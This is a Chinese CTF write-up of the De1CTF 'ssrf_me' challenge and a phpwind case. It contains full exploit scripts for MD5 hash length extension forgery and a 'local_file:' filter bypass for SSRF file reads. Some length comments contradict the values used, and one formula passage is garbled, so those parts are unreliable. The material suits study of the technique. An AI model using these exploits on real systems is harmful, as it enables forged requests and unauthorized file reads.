web学习----De1CTF ssrf_me(hash长度攻击)

De1CTF ssrf_me

该做的还是要做,比如审计源码:

#! /usr/bin/env python
#encoding=utf-8
from flask import Flask #使用flask框架
from flask import request
import socket
import hashlib
import urllib #内置的http库
import sys 
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')#设置编码格式

app = Flask(__name__)

secert_key = os.urandom(16) #产生随机的字符串


class Task:
    def __init__(self, action, param, sign, ip):#必须定义_init_函数,self:类内部
        self.action = action     
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)):          #SandBox For Remote_Addr 不存在此路径就建立
            os.mkdir(self.sandbox)

    def Exec(self):#执行命令函数
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')#以只读方式打开对应路径下的result.txt
                resp = scan(self.param)#调用scan函数
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action://只要read出现在action里面就能读文件,但是为了让raed执行,code不能等于500,所以必须要出现scan,所以action要为:readscan
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

    def checkSign(self):#在执行文件读取前要先经过签名验证
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False


#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST']) #路由定义访问方式,生成md5
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)


@app.route('/De1ta',methods=['GET','POST'])#两个参数一个用的get方式,一个用的post方式
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())
@app.route('/')#获取源码
def index():
    return open("code.txt","r").read()


def scan(param):
    socket.setdefaulttimeout(1)#设置全局的 socket 超时
    try:
        return urllib.urlopen(param).read()[:50] #返回读取内容,输出前50
    except:
        return "Connection Timeout"



def getSign(action, param):#这里的key是前面随机生成的16位md5值,将key,param和action放在一起进行md5加密
    return hashlib.md5(secert_key + param + action).hexdigest()


def md5(content):
    return hashlib.md5(content).hexdigest()#md5加密


def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):#过滤了file和gopher读文件协议,这里可以用local_file:绕过waf
        return True
    else:
        return False


if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0')

一步步来,先了解一下Flask(microframework)
Flask是一个使用 Python 编写的轻量级 Web 应用框架
大致了解一下flask的目录结构:

flask-demo/
  ├ run.py           # 应用启动程序
  ├ config.py        # 环境配置
  ├ requirements.txt # 列出应用程序依赖的所有Python包
  ├ tests/           # 测试代码包
  │   ├ __init__.py 
  │   └ test_*.py    # 测试用例
  └ myapp/
      ├ admin/       # 蓝图目录
      ├ static/
      │   ├ css/     # css文件目录
      │   ├ img/     # 图片文件目录
      │   └ js/      # js文件目录
      ├ templates/   # 模板文件目录
      ├ __init__.py    
      ├ forms.py     # 存放所有表单,如果多,将其变为一个包
      ├ models.py    # 存放所有数据模型,如果多,将其变为一个包
      └ views.py     # 存放所有视图函数,如果多,将其变为一个包

对于flask的简单介绍详情参考

https://www.jianshu.com/p/6452596c4edb

所以以上的代码的大致意思是让我们去读取flag.txt
读取流程为,先经过签名验证,再绕过waf
签名代码如下


def getSign(action, param):#这里的key是前面随机生成的16位md5值,将key,param和action放在一起进行md5加密
    return hashlib.md5(secert_key + param + action).hexdigest()

1.hash长度攻击:

hash长度攻击利用了 md5、sha1 等加密算法的缺陷,可以在不知道原始密钥的情况下来进行计算出一个对应的 hash 值
适用于:hash($SECRET, $message)这种加密,至于原理等我自己理解了再补充
对于hash长度扩展攻击的脚本如下,在写代码之前,需要安装hashpump(详细就不讲了)
secert_key 是一个长度为 16 的字符串,在 /geneSign?param=flag.txt 中可以获取 md5(secert_key + ‘flag.txt’ + ‘scan’) 的值,为3d605e26762f4955256774f722c5a46c ,而目标则是获取 md5(secert_key + ‘flag.txt’ + ‘readscan’) 的值
脚本如下:
hashpump:

Input Signature: 3d605e26762f4955256774f722c5a46c
Input Data: scan
Input Key Length: 28         //这里的25是因为加密是用的hashlib.md5(secert_key + param + action).hexdigest(),密文key是16位,flag.txt和scan加起来一共25位
Input Data to Add: read
2398bc5375d6517fd0e3a31032aea32e  //新获得的签名
scan\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\x00\x00\x00\x00read     

import requests

url = 'http://95284b3b-7692-4b4e-b4f3-5c80860338de.node3.buuoj.cn/De1ta?param=flag.txt'

cookies = {
  'sign': '2398bc5375d6517fd0e3a31032aea32e',
  'action': 'scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read',#注意需要将0x换成%
  }

res = requests.get(url=url, cookies=cookies)
print(res.text)

2.字符串拼接
hashlib.md5(secert_key + param + action).hexdigest()在python里面相当于secert_keyparamaction,假如secert_key=xxx,param=flag.txtread,action=scan,那么在python中就相当于:
xxxflag.txtreadscan,就达到了md5(‘xxxflag.txtreadscan’)的目的;
当然要得到flag还是得走流程
通过写:url/geneSign?param=flag.txtread可以获得签名
256d31514be5ae6953b5d5e4cb7a066a
通过在cookie里构造action=readscan;sign=256d31514be5ae6953b5d5e4cb7a066a
直接访问/De1ta?param=flag.txt可获得flag

3.local_file
之前不是说file和gopher被waf了吗,所以可以使用local_file来绕过;
同样是使用flag.txtread来获取签名,不一样的是使用的是local_file函数, /geneSign?param=local_file:///app/flag.txtread
然后再通过构造cookie:action=readscan;sign=256d31514be5ae6953b5d5e4cb7a066a然后再请求 /De1ta?param=local_file:///app/flag.txt
神仙exp如下:

import requests
conn = requests.Session()

url = "http://95284b3b-7692-4b4e-b4f3-5c80860338de.node3.buuoj.cn"
def geneSign(param):
    data = {
        "param": param
    }
    resp = conn.get(url+"/geneSign",params=data).text
    print resp
    return resp

def challenge(action,param,sign):
    cookie={
        "action":action,
        "sign":sign
    }
    params={
        "param":param
    }
    resp = conn.get(url+"/De1ta",params=params,cookies=cookie)
    return resp.text
filename = "local_file:///app/flag.txt"
a = []
for i in range(1):
    sign = geneSign("{}read".format(filename.format(i)))
    resp = challenge("readscan",filename.format(i),sign)
    if("title" in resp):
        a.append(i)
    print resp,i
print a

为了加深理解,我又找了一篇:

http://blog.nsfocus.net/phpwind-hash-length-attack-hashpump-getshell/

这篇里面核心代码为:

public function beforeAction($handlerAdapter) {
parent::beforeAction($handlerAdapter);//调用父类的构造函数
$charset = ‘utf-8;
$_windidkey = $this->getInput(‘windidkey’, ‘get’);//以get方式请求获取参数
$_time = (int)$this->getInput(‘time’, ‘get’);
$_clientid = (int)$this->getInput(‘clientid’, ‘get’);
if (!$_time || !$_clientid) $this->output(WindidError::FAIL);
$clent = $this->_getAppDs()->getApp($_clientid);
if (!$clent) $this->output(WindidError::FAIL);
if (WindidUtility::appKey($clent[‘id’], $_time, $clent[‘secretkey’], //这里是最核心的地方,也是产生hash长度攻击的地方
$this->getRequest()->getGet(null), $this->getRequest()->getPost()) != $_windidkey) $this->output(WindidError::FAIL);
$time = Pw::getTime();
if ($time$_time > 1200) $this->output(WindidError::TIMEOUT);
$this->appid = $_clientid;
}

这里是加密函数

public static function appKey($apiId, $time, $secretkey, $get, $post) {
// 注意这里需要加上__data,因为下面的buildRequest()里加了。
$array = array(‘windidkey’, ‘clientid’, ‘time’, ‘_json’, ‘jcallback’, ‘csrf_token’,
‘Filename’, ‘Upload’, ‘token’, ‘__data’);
$str =;
ksort($get);
ksort($post);
foreach ($get AS $k=>$v) {
if (in_array($k, $array)) continue;
$str .=$k.$v;
}
foreach ($post AS $k=>$v) {
if (in_array($k, $array)) continue;
$str .=$k.$v;
}
return md5(md5($apiId.||.$secretkey).$time.$str);//将一个不确定的md5($apiId.’||’.$secretkey)和已知的time,str一起加密
}

md5(md5( a p i I d . ′ ∣ ∣ ′ . apiId.'||'. apiId..secretkey). t i m e . time. time.str)已知,即windidkey,md5( a p i I d . ′ ∣ ∣ ′ . apiId.'||'. apiId..secretkey)的长度已知, t i m e 已 知 , time已知, timestr已知
请求:http://192.168.3.106/windid/index.php?m=api&c=avatar&a=doAvatar&uid=2&windidkey=b6f98f9e78105ca0ec4239de8478cd26&time=1465977216&clientid=1&type=flash&avatar=http://192.168.3.106/windid/attachment//avatar/000/00/00/2.jpg?r=18504
通过hashpump可以依次写:

windidkey
time+str
md5($apiId.'||'.$secretkey)的长度+time的长度+str的长度
需要增加的语句

后端语句为:

MD5( key + time +str+ 生成的填充数据+需要增加的数据) )

说实话我看了这篇更迷了,实验吧再研究一下


$flag = "XXXXXXXXXXXXXXXXXXXXXXX";
$secret = "XXXXXXXXXXXXXXX"; // This secret is 15 characters long for security!

$username = $_POST["username"];
$password = $_POST["password"];

if (!empty($_COOKIE["getmein"])) {
    if (urldecode($username) === "admin" && urldecode($password) != "admin") {
        if ($COOKIE["getmein"] === md5($secret . urldecode($username . $password))) {//这里是核心代码,需要让cookie等于 md5加密后(只知道长度为16的secret 和urldecode($username . $password))
            echo "Congratulations! You are a registered user.\n";
            die ("The flag is ". $flag);
        }
        else {
            die ("Your cookies don't match up! STOP HACKING THIS SITE.");
        }
    }
    else {
        die ("You are not an admin! LEAVE.");
    }
}

setcookie("sample-hash", md5($secret . urldecode("admin" . "admin")), time() + (60 * 60 * 24 * 7));//将不知道16位secret和经过了url解码adminadmin进行md5加密

if (empty($_COOKIE["source"])) {
    setcookie("source", 0, time() + (60 * 60 * 24 * 7));
}
else {
    if ($_COOKIE["source"] != 0) {
        echo ""; // This source code is outputted here
    }
}

md5($secret . urldecode(“admin” . “admin”))是已知的,urldecode(“admin” . “admin”))已知,secret长度已知,我们的目的是求出secret,并将它和username,password进行编码
典型的hash长度攻击:
hashpump的顺序为:

md5($secret . urldecode("admin" . "admin"))
adminadmin
16+10
xxx

生成的签名作为cookie,密码为:admin%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00xxx

你可能感兴趣的:(ctf)